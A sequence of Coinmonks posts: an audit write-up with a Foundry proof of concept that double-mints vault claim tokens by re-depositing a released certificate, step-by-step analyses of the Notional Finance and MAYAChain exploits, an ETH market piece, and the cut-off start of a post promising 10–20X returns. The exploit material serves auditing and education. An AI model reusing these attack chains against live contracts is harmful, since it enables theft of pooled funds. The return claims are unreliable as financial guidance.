This is one of the vulnerability our auditors had found during a client engagement. We’re sharing it here, because walking through a real bug is one of the best ways to learn what to watch for when you’re building or reviewing something similar. This is the first in a series where we’ll be doing that with some of the more interesting things we catch during audits.

The protocol in this case is a gold-backed vault. Customers send in physical gold bars, and in return, the protocol gives them a claim token that represents that gold on-chain. Behind the scenes, each bar is tracked with an NFT, called a certificate, that proves the vault is holding that specific bar. We found a way for a customer to take their real gold out of the vault, and then trick the system into minting them a second batch of claim tokens for gold that had already left.

How the vault works

Every physical gold bar is represented by one certificate NFT. When a new bar arrives, the protocol’s certifier verifies it, and the vault mints a fresh certificate. That certificate stays with the vault, not the customer, as proof the bar is inside, and the vault mints a claim token against it, the customer’s on-chain claim to that gold. A customer can also hand in a certificate they already hold to mint more claim tokens against it, as long as the vault is actually holding the matching bar.

When a customer wants their gold back, they burn their claim tokens and the vault releases the bar. At that point the certificate is supposed to be worthless. Its only job was proving the vault held that specific bar, and once the bar is out, that’s no longer true.

What went wrong

The vault doesn’t destroy the certificate on release. It just hands it straight back to the customer, still perfectly valid.

So the customer walks away holding two things: the gold bar, and a certificate that still tells the vault this bar is safely inside. Nothing stops them from walking back in, handing that certificate over again, and minting a fresh batch of claim tokens for gold that’s already gone.

The fix already existed in the code. CertificatesNFT.burn destroys a certificate. It can only be called by the vault, and only while the vault holds the certificate, exactly the situation at the moment gold gets released. Nobody called it.

Here’s the function, the one a customer calls once they’ve burned their claim tokens and are ready to walk out with their gold:

certificatePositions[id] =
    VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
nft.transferFrom(me, recipient, id);

The position flips to OutsideVault, and the certificate goes straight back into the customer's wallet. Nothing marks it as used.

Why it’s worse than it looks

Getting a genuinely new certificate is hard on purpose: it needs sign-off from the protocol’s certifier, plus a one-time custody reference proving a specific bar arrived. Handing an old certificate back in needs none of that. The vault just checks the certificate says outside the vault and takes its word for it.

It gets worse. Certificates are never destroyed, so a bar’s serial number stays permanently marked as used. If that same bar genuinely comes back through the front door, the vault can’t issue it a clean new certificate, that path is blocked, the serial number is already taken. Reusing the old certificate becomes the only way back in, for a legitimate return or a fraudulent one. What should be a rare, risky shortcut ends up as the default path, since nothing else works anymore.

Proof of concept

We built a small working version of the same mechanics to confirm this isn’t theoretical. It isn’t the original’s code, real vaults carry more logic than this, but it reproduces the exact behavior that matters.

Set up a fresh Foundry project:

mkdir gold-poc && cd gold-poc
forge init --no-git .
forge install OpenZeppelin/openzeppelin-contracts --no-git

remappings.txt:

@openzeppelin/=lib/openzeppelin-contracts/
forge-std/=lib/forge-std/src/

src/VaultTypes.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/// @notice Minimal illustrative reproduction of the position-tracking types
/// referenced in the finding. Not the audited source.
library VaultTypes {
    enum CertificateState {
        None,
        Vaulted,
        OutsideVault
    }

    struct CertificatePosition {
        CertificateState state;
        uint256 activeRequestId;
    }
}

src/CertificatesNFT.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";

/// @notice Minimal illustrative reproduction. Represents a custody certificate
/// for one physical gold bar held in the vault. Not the audited source.
contract CertificatesNFT is ERC721 {
    address public immutable vault;

    modifier onlyVault() {
        require(msg.sender == vault, "CertificatesNFT: not vault");
        _;
    }

    constructor(address _vault) ERC721("Gold Custody Certificate", "CERT") {
        vault = _vault;
    }

    function mint(address to, uint256 id) external onlyVault {
        _mint(to, id);
    }

    /// @dev Only the vault can burn, and only while the vault itself holds
    /// the certificate. This is exactly the situation at the moment physical
    /// gold is released, which is the call site this finding is about.
    function burn(uint256 id) external onlyVault {
        require(ownerOf(id) == vault, "CertificatesNFT: vault must hold certificate");
        _burn(id);
    }
}

src/ClaimToken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/// @notice Minimal illustrative reproduction of the tokenized-gold claim
/// token. Not the audited source, and not the real token name.
contract ClaimToken is ERC20 {
    address public immutable vault;

    modifier onlyVault() {
        require(msg.sender == vault, "ClaimToken: not vault");
        _;
    }

    constructor(address _vault) ERC20("Vault Gold Claim", "CLAIM") {
        vault = _vault;
    }

    function mint(address to, uint256 amount) external onlyVault {
        _mint(to, amount);
    }

    function burnFrom(address from, uint256 amount) external onlyVault {
        _burn(from, amount);
    }
}

src/GoldVaultVulnerable.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {CertificatesNFT} from "./CertificatesNFT.sol";
import {ClaimToken} from "./ClaimToken.sol";
import {VaultTypes} from "./VaultTypes.sol";

/// @notice Minimal illustrative reproduction of the vault's certificate
/// lifecycle, including the vulnerable release path described in the
/// finding. Not the audited source, trimmed to the mechanics that matter.
contract GoldVaultVulnerable {
    CertificatesNFT public immutable certNFT;
    ClaimToken public immutable claimToken;
    address public immutable certifier;

    uint256 public constant CLAIM_PER_BAR = 1_000e18;

    mapping(uint256 => VaultTypes.CertificatePosition) public certificatePositions;
    mapping(bytes32 => bool) public usedCustodyRefs;
    mapping(uint256 => bool) public serialRegistered;

    modifier onlyCertifier() {
        require(msg.sender == certifier, "GoldVault: not certifier");
        _;
    }

    constructor(address _certifier) {
        certifier = _certifier;
        certNFT = new CertificatesNFT(address(this));
        claimToken = new ClaimToken(address(this));
    }

    /// @notice Bar arrival. Strongly validated: certifier-gated, and the
    /// custody reference proving the bar arrived can only be used once.
    function registerNewBar(address to, uint256 certId, uint256 serial, bytes32 custodyRef)
        external
        onlyCertifier
    {
        require(!serialRegistered[serial], "GoldVault: serial already registered");
        require(!usedCustodyRefs[custodyRef], "GoldVault: custody ref already used");
        usedCustodyRefs[custodyRef] = true;
        serialRegistered[serial] = true;

        certNFT.mint(address(this), certId); // certificate stays with the vault while the bar is inside
        certificatePositions[certId] =
            VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
        claimToken.mint(to, CLAIM_PER_BAR);
    }

    /// @notice Re-presenting an existing certificate. No certifier check and
    /// no custody reference, open to anyone holding a certificate that is
    /// currently marked OutsideVault.
    function depositCertificate(uint256 certId) external {
        require(
            certificatePositions[certId].state == VaultTypes.CertificateState.OutsideVault,
            "GoldVault: certificate not outside vault"
        );
        certNFT.transferFrom(msg.sender, address(this), certId);
        certificatePositions[certId] =
            VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
        claimToken.mint(msg.sender, CLAIM_PER_BAR);
    }

    /// @notice Physical release. This is the call site the finding is about.
    function release(uint256 certId, address recipient) external {
        require(
            certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
            "GoldVault: certificate not vaulted"
        );
        claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);

        // --- vulnerable: hands a fully valid certificate back instead of retiring it ---
        certificatePositions[certId] =
            VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
        certNFT.transferFrom(address(this), recipient, certId);
    }
}

test/GoldSoldTwice.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {GoldVaultVulnerable} from "../src/GoldVaultVulnerable.sol";
import {VaultTypes} from "../src/VaultTypes.sol";
import {CertificatesNFT} from "../src/CertificatesNFT.sol";

contract GoldSoldTwiceTest is Test {
    address certifier = makeAddr("certifier");
    address customer = makeAddr("customer");

    uint256 constant CERT_ID = 1;
    uint256 constant SERIAL = 42;
    bytes32 constant CUSTODY_REF = keccak256("bar-42-arrival");

    function test_ReleasedCertificateCanBeRedepositedForFreshClaim() public {
        GoldVaultVulnerable vault = new GoldVaultVulnerable(certifier);

        // One physical bar arrives and is registered. This is the strongly
        // validated path: certifier-gated, one-time custody reference.
        vm.prank(certifier);
        vault.registerNewBar(customer, CERT_ID, SERIAL, CUSTODY_REF);
        console2.log(
            "bar registered, one time only  | claim balance:",
            vault.claimToken().balanceOf(customer) / 1e18
        );

        assertEq(
            vault.claimToken().balanceOf(customer),
            vault.CLAIM_PER_BAR(),
            "customer should hold 1 bar of claim tokens"
        );

        // Customer redeems: burns claim tokens, takes the physical gold out.
        vm.startPrank(customer);
        vault.release(CERT_ID, customer);
        vm.stopPrank();
        console2.log(
            "gold released to customer      | claim balance:",
            vault.claimToken().balanceOf(customer) / 1e18
        );

        assertEq(
            vault.claimToken().balanceOf(customer),
            0,
            "claim tokens were burned on release"
        );
        assertEq(
            vault.certNFT().ownerOf(CERT_ID),
            customer,
            "certificate came back to the customer intact"
        );
        (VaultTypes.CertificateState state, ) = vault.certificatePositions(
            CERT_ID
        );
        assertEq(
            uint8(state),
            uint8(VaultTypes.CertificateState.OutsideVault),
            "certificate still marked valid"
        );

        // The gold has left the building. The certificate for it has not
        // been touched. Hand it straight back in.
        vm.startPrank(customer);
        vault.certNFT().approve(address(vault), CERT_ID);
        vault.depositCertificate(CERT_ID);
        vm.stopPrank();
        console2.log(
            "same certificate redeposited    | claim balance:",
            vault.claimToken().balanceOf(customer) / 1e18
        );

        // Fresh claim tokens, minted against a bar that is no longer in the vault.
        assertEq(
            vault.claimToken().balanceOf(customer),
            vault.CLAIM_PER_BAR(),
            "customer minted a second bar of claim tokens against the same, already-withdrawn gold"
        );
    }
}

Run it:

forge test --match-contract GoldSoldTwiceTest -vv

Output:

Ran 1 test for test/GoldSoldTwice.t.sol:GoldSoldTwiceTest
[PASS] test_ReleasedCertificateCanBeRedepositedForFreshClaim() (gas: 3884735)
Logs:
  bar registered, one time only  | claim balance: 1000
  gold released to customer      | claim balance: 0
  same certificate redeposited    | claim balance: 1000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (1.81ms CPU time)

Ran 1 test suite in 156.98ms (6.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Look at the claim token balance across those log lines. It goes up to 1,000 when the bar is registered, drops to 0 on release, then climbs back to 1,000, just from handing the same certificate back in. One bar of gold. Two batches of claim tokens.

The fix

  certificatePositions[id] =
-     VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
-     nft.transferFrom(me, recipient, id);
+     VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
+     nft.burn(id);

That’s the entire fix. Burn the certificate instead of returning it. No new checks, no new state, both already existed. The only missing piece was calling burn.

// src/GoldVaultFixed.sol, patched release()
function release(uint256 certId, address recipient) external {
    require(
        certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
        "GoldVault: certificate not vaulted"
    );
    claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);

    certificatePositions[certId] =
        VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
    certNFT.burn(certId);
}

Conclusion

This bug wasn’t flashy, one function handed back something it should have destroyed, and the fix was already sitting in the code, unused. Most real bugs are like that, a small gap between what a system assumes and what’s actually still true.

Originally published at https://www.quillaudits.com.

Quill Findings: Eligibility Replay in Tokenized Assets was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

On September 3, 2026, roughly $1.73M in DAI and USDC left Notional Finance’s V1 Escrow contract in a single transaction. There was no flash loan, no price oracle manipulation, and no compromised key. The attacker minted a fabricated fCash claim equal to Escrow’s entire live balance and withdrew it as real tokens, using a raw type-narrowing cast in Notional’s collateral valuation code that let a maximally insolvent account report zero debt.

Protocol Background

Notional Finance V1 represents fixed-rate lending positions as ERC1155 tokens called fCash. Every position is one half of a payer and receiver pair, the payer owes cash at maturity, the receiver is entitled to collect it. Transferring one of these ERC1155 tokens does not move an existing balance. It calls Portfolios.mintfCashPair(), which mints a brand new offsetting pair on the spot, a design built for OTC block trades. That function's only safeguard is a free collateral check on the payer, computed in Portfolios._freeCollateral() and converted into an ETH value by Escrow.convertBalancesToETH(). The entire system's solvency rests on that one conversion being correct.

Hack Analysis

An attacker-controlled helper contract deployed four disposable contracts.

The helper contract then called safeTransferFrom on Notional's ERC1155 fCash token, which routed into Portfolios.mintfCashPair(). That function creates a new payer and receiver position in a single call and checks free collateral on the payer only, an assumption written directly into the code that the receiver's position always increases and therefore needs no check of its own.

The same account acted as payer twice in a row, first for a notional of 1, then for a notional of 340282366920938463463374607431768211455, the maximum value a uint128 can hold. Combined, the two debts summed to exactly 2¹²⁸, a boundary value chosen with precision rather than brute force.

That combined debt reached Escrow.convertBalancesToETH(), which calls ExchangeRate._convertToETH() to price the payer's balance in ETH for the solvency check. Inside that function, uint128 absBalance = uint128(balance.abs()) casts the debt with a raw, unchecked cast rather than SafeCast.toUint128(). A value of exactly 2^128 truncates cleanly to 0 in that cast, so the largest debt mathematically possible was read as owing nothing.

The second disposable contract, 0x84A060Ed81316E6741Af216A099cFea8bCDd3489, the one holding that fabricated 2¹²⁸-1 claim, passed its own free collateral check on the strength of it, even after Notional’s standard haircut, a claim that size dwarfs any real-world debt. It called safeTransferFrom twice more, once with a notional of 69,257,372,677,950,923,155,658 sent to a third contract, 0x265ccfF3673bCAb03867988081cd51bFd919C03C, once with a notional of 1,658,524,864,122 sent to a fourth contract, 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF.

Both calls routed through mintfCashPair() again, so the third contract came away holding a receiver claim exactly equal to Escrow's real DAI balance, and the contract came away holding a receiver claim exactly equal to Escrow's real USDC balance.

In a second transaction, Portfolios.settleMaturedAssets() converted the third contract fabricated claim into a real, internally tracked Escrow cash balance, and Escrow.withdraw() checked that balance, found no offsetting debt, and paid out 69,257.372677950923155658 DAI from Escrow to 0x265ccfF3673bCAb03867988081cd51bFd919C03C, which forwarded the full amount to the attacker's main address, 0xDaCC235a494750193695A111D715c2ca12b5Ce38, in the same transaction.

The same transaction repeated the process for the fourth contract, settling its fabricated claim into an Escrow cash balance and paying out 1,658,524.864122 USDC from Escrow to 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF, which likewise forwarded the full amount to 0xDaCC235a494750193695A111D715c2ca12b5Ce38.

Root Cause

The root cause is an unchecked, raw uint128() cast on a debt balance inside ExchangeRate._convertToETH(), in place of the reverting SafeCast.toUint128() used elsewhere in the same file.

Two things made that cast reachable in the first place. Portfolios.mintfCashPair() checks solvency on the payer only, so a fabricated debt on one account is never caught by a check on the account that actually benefits from it.

RiskFramework.sol itself computes the debt correctly, using safe, reverting arithmetic throughout, which meant the attacker had to engineer one exact value rather than exploit sloppy math earlier in the chain. Each factor on its own would have limited the damage, together they turned a single missing bounds check into a full drain.

How QuillAudits Smart Contract Audit Could Have Prevented This

Type-boundary fuzzing on every narrowing cast. Fuzzing _convertToETH() and every other raw uint128() or uint256() cast with boundary values, 0, 2^128 minus 1, and 2^128 itself, would have surfaced the exact wrap that zeroed out the payer's debt.

Two-sided solvency checks on any function that mints offsetting positions. A review of mintfCashPair() against the principle that both sides of a newly created payer and receiver pair need verification, not just the side assumed to be taking on risk, would have flagged the one-sided freeCollateral(payer) check as a design gap on its own, independent of the cast bug.

A project-wide ban on raw narrowing casts in solvency-critical paths. A lint rule or manual pass flagging every uint128(x) or uint256(x) cast on a value that can carry adversarial input, requiring SafeCast or an explicit bounds check instead, would have caught this specific line even without the fuzzing pass above.

Funds Flow After Attack

The DAI and USDC withdrawn from Escrow were moved through intermediary wallets and consolidated into a single address.

That address swapped the combined DAI and USDC for approximately 689.2 ETH.

The ETH was then deposited into Tornado Cash.

Post-Attack Mitigation

At the time of writing, Notional Finance has not published a tweet, statement, or post-mortem addressing this incident, and has not disclosed an official loss figure or confirmed root cause. This section will be updated once the protocol responds.

Relevant Addresses and Transactions

Attacker EOAs

• 0xDaCC235a494750193695A111D715c2ca12b5Ce38
• 0x8aaf01B6F9AcC973274B8718BE4D1C1be10E3be6
• 0xC95496c917A41a394EfdAC3e0882F5903D24De69

Vulnerable Contracts

• Escrow holds protocol funds and exposes the broken conversion path: 0x9abd0b8868546105F6F48298eaDC1D9c82f7f683
• Escrow implementation contract, delegatecall target containing ExchangeRate._convertToETH: 0x8a134e651432A902041643668940C9a9cD270633
• Portfolios, mints, and tracks fCash positions: 0x0A4721117040ABF319b954aBF13F654505C34920

Attacker Contracts

• 0xec434a2f9b7b93aad1bed77d6bc512a75ae90d78
• 0x5872B67d58CeF954B52dEb8E97f9F614BB12fa3d
• 0x84A060Ed81316E6741Af216A099cFea8bCDd3489
• 0x265ccfF3673bCAb03867988081cd51bFd919C03C
• 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF

Key Transactions

• Position setup, the two mints that engineered the 2¹²⁸ debt: 0xe1589a19fe742f0d553889214abade69551fe944acffac014c28cc07b325d60a
• Drain, settlement, and withdrawal of the fabricated claims: 0xc3f3e318f7ab2d0daaba59e6ec901d25d1fe8a89aafe2b2b62e3b9aee1a24efa

Conclusion

This was not a flash loan attack and not a price manipulation. It was a single unchecked cast, uint128(balance.abs()), sitting inside a function that turns a debt balance into an ETH-denominated solvency check. Because Notional's fCash minting function trusted that check completely and only applied it to one side of every new position, an attacker who could engineer one specific number, 2^128, could make the largest possible debt look exactly like zero. Roughly $1.73M in DAI and USDC left Notional's V1 Escrow contract as a result, swapped to ETH and moved into Tornado Cash. In a system built entirely on solvency checks, the check itself has to be the most carefully verified line in the codebase, because everything downstream believes whatever number it returns.

Original Posted at QuillAudits

Notional Finance $1.73M Free Collateral Integer Overflow Exploit (Explained) was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

On August 18, 2026, an attacker chained six bugs in MAYAChain’s trade account and outbound-handling logic to drain the Asgard reserve. No key was stolen, and this wasn’t a flash-loan drain: a single batched deposit triggered a false theft alert, and an uncapped slash subsidy turned that into 48.87M forged CACAO in one thin pool. The attacker cashed out through it, extracting roughly $1.7M.

Protocol Background

MAYAChain settles cross-chain swaps through its Asgard vaults, with every observed transaction tracked against a shared ObservedTxVoter record. A single MsgDeposit can batch multiple actions together, including trade-account swaps and a DONATE action, all reported against that same voter. When an outbound transaction appears to go missing, the chain treats it as theft and slashes a subsidy into the affected pool to make it whole, a safety mechanism this exploit turned into the attack itself.

Hack Analysis

MAYAChain’s protection against a receipt being processed twice lives in a shared ObservedTxVoter record, one per native transaction ID. Inside the handler for a batched MsgDeposit, every message in the batch creates its own fresh voter and overwrites whatever was there before via SetObservedTxInVoter(). A transaction with enough messages can let its last message quietly erase what every earlier message had recorded.

The attacker used exactly that. A single MsgDeposit carrying 23 messages ran 20 trade-account swaps into ARB.ETH, two more into ARB.LINK, and closed with a one-unit DONATE:ARB.LINK message. That final message overwrote the voter the earlier trade withdrawals had set, resetting OutboundHeight to 0 and marking the whole transaction done.

Check here in rwa data: 516BA14D6976EC7B8A3087E1C52B195433EF0F9D85F4B9520675BC4FEB99E9B7

With OutboundHeight zeroed, the outbound matcher fell back to FinalisedHeight and scanned forward in fixed increments, but it never checked the one block where the LINK outbounds had actually landed. Finding no record there, the chain concluded the outbound had gone missing and triggered its theft-detection slash.

That slash path converts the supposedly stolen amount into CACAO at the pool’s own exchange rate, with nothing capping the result against how much asset the pool actually holds. The ARB.LINK pool had only about 0.11 LINK in it, so running the stolen amount through that rate produced a number completely detached from reality: roughly 49.45 million CACAO, booked straight into the pool.

The code writes that inflated pool balance to state before it actually tries to fund it from the reserve. The reserve only held about 168,000 CACAO, so the funding transfer failed, but the pool’s new balance had already been saved. The handler that caught the failure just logged it and marked the transaction done anyway, with no rollback, leaving the inflated pool sitting in state as if it were real.

With a pool now showing tens of millions of CACAO against almost no LINK, the attacker added a small amount of liquidity to it. The pool-unit math treated the deposit as founding a fresh pool, handing over 99.93% ownership, and an immediate withdrawal at 9,900 basis points paid out 48.87 million CACAO from the Asgard module. The attacker moved straight into swapping it for BTC, ETH, RUNE, and stablecoins across every Maya pool.

Root Cause

It was six separate weaknesses lining up in one transaction. The root failure is that a shared observed-transaction voter could be silently overwritten by a later message in the same batched deposit, and everything downstream, theft detection, the slash subsidy, and the funding transfer, trusted that voter’s state without re-checking or bounding it against reality.

Once the final DONATE message reset the voter, the outbound matcher's fallback logic never checked the right block, the slash subsidy calculation never capped itself against the pool's real balance, and the code that wrote the inflated pool to state ran before the code meant to fund it, with the resulting failure just logged and swallowed instead of rolled back. Any one of those checks alone would have stopped the drain, bind the voter to something a later message can't clobber, cap the subsidy to what the pool can actually hold, or roll back state when a downstream transfer fails.

How QuillAudits Infrastructure Review Could Have Prevented This

Voter integrity across batched messages. Any check whose entire security model rests on a shared record needs a guarantee that record can’t be overwritten by an unrelated message later in the same batch. A review tracing every writer of ObservedTxVoter would have caught SetObservedTxInVoter clobbering per-message state in handler_deposit.go.

Bound every subsidy calculation to the pool’s actual balance. The AssetValueInRune call behind the slash subsidy had no ceiling tied to pool.BalanceAsset, so a thin pool could be told it held tens of millions of CACAO it never had. Any function that credits a balance from a computed value needs an explicit sanity cap against the resource it's crediting.

Never commit state ahead of the transfer meant to back it. SetPool ran before SendFromModuleToModule in helpers.go, so when the transfer failed, the inflated state had already been saved. Persisted state should follow a successful funding transfer, not precede it, and a failed downstream call should roll back what came before it rather than just log and continue.

Funds Flow After Attack

The attacker immediately began swapping the drained CACAO into BTC, ETH, RUNE, and stablecoins across every Maya pool.

20.82 BTC, worth about $1,343,367, moved to bc1q0hsgwunccczelq05ucpmfz268eyy5jr2y5l646. As of now they are still in attacker wallet

Meanwhile on ethereum attacker has deposited some eth in tornado cash.

Post-Attack Mitigation

Maya founder posts an initial public message calling it sad news and saying it will work to fix the issue and recover in full.

Maya confirms the exploit to its community, roughly 20 BTC and $300k in other assets, says it has done a global halt to contain the damage, and shares the attacker’s Bitcoin address in case they’re open to a bug bounty.

Maya commits $200,000 of the team’s own funds into the pools as a first step in the recovery process.

Maya says it will accelerate the launch of its Aztec Chain platform and direct a share of the funds it raises back into the pools to help recover from the exploit.

Maya sends the attacker a message through a Bitcoin OP_RETURN transaction, asking them to return the funds and offering a bug bounty in exchange.

Relevant Addresses and Transactions

Attacker Wallet

• Maya trade-account attacker, executed the exploit transaction, still holds 8,874,269.11 CACAO: maya1dl3yrfpedyr5jfr0r86s2apjltnjqgszmwsv8x
• bc1q0hsgwunccczelq05ucpmfz268eyy5jr2y5l646
• 0xa2f246f82995CBcCA8eD0d9F251383881A5E423e

Affected Pool

• ARB.LINK: 0XF97F4DF75117A78C1A5A0DBB814AF92458539FB4

Key Transactions

• Exploit transaction: 516BA14D6976EC7B8A3087E1C52B195433EF0F9D85F4B9520675BC4FEB99E9B7
• Add & Remove Liquidity Tx: 888AF3EBE9A9A0DBA0F64FE4FD77793E69872466691387A786C9FE19E2693519
• Bug Bounty Offer: aa209b30d84cd63474ba873cfb1c72e5da8e7765b818a0750842e870c1d5b367

Conclusion

No key was stolen, and no single bug did this on its own. A shared voter that a later message could silently overwrite was trusted by every check downstream of it, theft detection, the slash subsidy, and the transfer that was supposed to back it, and none of them verified what the others had already gotten wrong. A pool with barely any liquidity ended up crediting tens of millions of CACAO to itself, and the attacker just had to show up and withdraw it. Six checks failed in sequence; one working boundary anywhere in that chain would have stopped it.

Original Posted at QuillAuidts

MAYAChain $1.7M Slash Subsidy Pool Inflation Exploit (Explained) was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Ethereum looks unusually calm.

After climbing more than 30% in August, ETH has spent the first part of September moving in a narrow range, repeatedly testing the $2,500 mark without finding enough momentum to break higher.

But beneath that quiet price action, the Ethereum market is anything but still.

Treasury companies are continuing to accumulate ETH. Exchange balances are falling. ETF demand has cooled but remains positive overall. At the same time, developers are preparing major changes to Ethereum’s infrastructure, with Glamsterdam approaching and the longer-term Hegotá roadmap beginning to take shape.

So while ETH is moving sideways, several important pieces are falling into place.

$2,500 Has Become the Market’s Battleground

ETH has spent much of the recent period between $2,480 and $2,520.

The repeated attempts to reclaim $2,500 show that buyers are still defending the psychological level, but resistance around $2,525–$2,535 has kept the upside contained. Beyond that, $2,550 remains the more important barrier.

A decisive move above $2,550 could put $2,600 back on the radar and potentially open a path toward the $3,000 area if momentum returns.

The downside is equally clear.

The first support zone sits around $2,475–$2,485. A break below it could expose $2,430–$2,445.

Some technical charts have also produced a golden cross, generally viewed as a longer-term bullish signal. But technical indicators alone cannot overcome weak market participation.

That is particularly important now, with investors watching the Federal Reserve meeting scheduled for September 15–16.

For the longer-term picture, current ethereum price prediction scenarios are likely to depend heavily on whether ETH can turn this consolidation into a sustained breakout rather than another temporary rally.

The Interesting Part: Retail Is Selling While Big Buyers Keep Adding

One of the clearest differences in the current market is happening between different groups of ETH holders.

Wallets holding between 100 and 10,000 ETH reportedly sold around 307,000 ETH last week.

Whales, meanwhile, bought roughly 82,000 ETH.

That does not necessarily mean the market is turning bearish. It may simply indicate that some investors are taking profits after August’s rally while larger players are building longer-term positions.

BitMine Immersion Technologies is perhaps the clearest example.

The company bought another roughly 28,086 ETH, worth around $69–70 million, bringing its reported holdings to approximately 5.93 million ETH.

That represents close to 4.9% of Ethereum’s total supply.

The scale is difficult to ignore. BitMine has continued buying even while its holdings remain below the average purchase price on paper, with a large portion of its ETH also being staked.

This is a very different approach from short-term trading.

Another Whale Is Hedging a Huge Short

Abraxas Capital has also been active.

The firm reportedly purchased around 13,000 ETH, worth roughly $32 million, in the spot market.

But the reason is particularly interesting: part of the purchase was reportedly used to hedge a much larger short position of around 141,000 ETH on Hyperliquid.

In other words, not every large ETH purchase represents a straightforward bullish bet.

Elsewhere, an early Ethereum holder reportedly sold around 11,023 ETH through Wintermute, while Justin Sun continued moving ETH after withdrawing additional funds from Lido.

The takeaway is simple: whale activity is increasing, but it is not pointing in one clear direction.

Some large holders are selling. Others are accumulating. Some are hedging.

ETF Momentum Has Slowed

The spot Ethereum ETF market tells a similar story.

Weekly inflows reportedly fell to around $218 million, down sharply from approximately $824 million the previous week. Some individual trading sessions also saw net outflows.

That is a noticeable slowdown.

Still, it would be premature to interpret weaker ETF flows as disappearing institutional interest.

Another part of the supply picture is moving in the opposite direction.

More than 116,000 ETH reportedly left exchanges within a 48-hour period at one point. Fewer ETH sitting on exchanges can mean less immediate selling pressure, although it does not guarantee that prices will rise.

Institutional infrastructure is also expanding. Standard Chartered has reportedly increased access to deliverable ETH spot trading for institutional clients in the UAE.

The market, therefore, is seeing slower demand in one area while institutional participation continues to develop elsewhere.

Ethereum’s Biggest Story May Not Be Its Price

If the price chart looks boring, Ethereum’s development roadmap certainly does not.

The Ethereum Foundation’s Protocol Cluster recently released its first unified ranking of 62 proposed EIPs for the planned Hegotá upgrade.

Two proposals were placed among the highest-priority changes.

EIP-7805, or FOCIL, is aimed at strengthening censorship resistance by helping enforce transaction inclusion.

EIP-8141, known as Frame Transactions, could address one of Ethereum’s long-standing user-experience problems: needing ETH simply to pay transaction fees.

The proposal could eventually allow users to pay gas with stablecoins such as USDC or USDT while also supporting native account abstraction and new authentication approaches.

That could make interacting with Ethereum feel considerably simpler for ordinary users.

There is also a much longer-term objective behind the roadmap: quantum resistance for Ethereum’s Layer 1, with December 2029 currently highlighted as an important target.

Glamsterdam Is the Next Big Test

Hegotá is still further down the road.

Before that comes Glamsterdam, Ethereum’s next major upgrade, currently targeted for Q4 2026.

The upgrade is focused heavily on improving Layer-1 performance.

Developers are working on enshrined proposer-builder separation, block-level access lists, gas repricing and higher gas limits.

One of the targets is a gas-limit floor of around 200 million, which could significantly increase Ethereum’s capacity if implemented successfully.

The Sepolia testnet fork is expected around September 28 or early October.

That makes the coming weeks important for more than just ETH traders. They will also provide another look at how Ethereum’s technical roadmap is progressing toward mainnet.

The Ecosystem Is Moving in Different Directions

Ethereum’s broader ecosystem is changing alongside the core network.

Lido has launched the testnet for its 0x02 Community Staking Module, designed to support compounding validators with balances of up to 2,048 ETH.

If approved for mainnet, the change could improve capital efficiency for staking operators.

Scroll, meanwhile, is taking a very different path.

The Ethereum Layer-2 project has announced plans to gradually transition from a general-purpose public chain toward a more application-specific network built around its Compass AI ecosystem.

The transition is expected to take roughly nine months. Scroll also plans to move the SCR token to Ethereum mainnet without changing its existing supply or tokenomics.

Elsewhere, Trezor has added Clear Signing support through ERC-7730, another effort aimed at making blockchain transactions easier to understand before users approve them.

What the Market Is Really Waiting For

Ethereum does not currently have one giant catalyst capable of deciding its next move.

Instead, several smaller forces are pulling the market in different directions.

Retail holders are selling.

Treasury companies are accumulating.

ETF inflows have slowed.

Exchange balances have declined.

ETH is sitting near $2,500.

And Ethereum’s developers are preparing some of the network’s most important changes in years.

That leaves traders with a fairly simple near-term map.

A sustained move above $2,550 would strengthen the bullish case, while a break below $2,475 could shift attention toward $2,430–$2,445.

Until one of those areas gives way, Ethereum may continue to consolidate.

But the lack of dramatic price movement should not be confused with a lack of activity.

The market may be quiet on the surface, but underneath it, Ethereum is going through a period of accumulation, repositioning and infrastructure development.

The next major move in ETH may ultimately depend not on one headline, but on which of these trends gains the upper hand.

Ethereum Is Quiet at $2,500. But the Bigger Story Is Happening Underneath was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

How I am setting up for 10–20X returns on my portfolio this cycle

In the 2020/2021 cycle I invested heavily in BTC and ETH options on the Canadian ETF’s back when BTC was just coming out of its bear market blues, and BTC was roughly $29,000. Those options paid off over 10X returns, even while having been bought 2X off the bottom. As importantly, they involved zero altcoin specific risk, minimum counterparty risk (regulated ETF’s) and no trading and constant position management .. AND could be bought in my retirement account or tax free savings account.

I bought, I held about 2 years, and I sold at 10–12X the price. Original article written in July 2023 below:

Best Bear Market Opportunity Yet

I managed those returns despite buying the BTC and ETH options after Bitcoin had doubled from its bear market Bottom in Oct of 2022. Now, we are roughly 35% off the bottom (which I think is very likely THE bottom), and the opportunity is on par with the previous cycle.

How I am building my position:

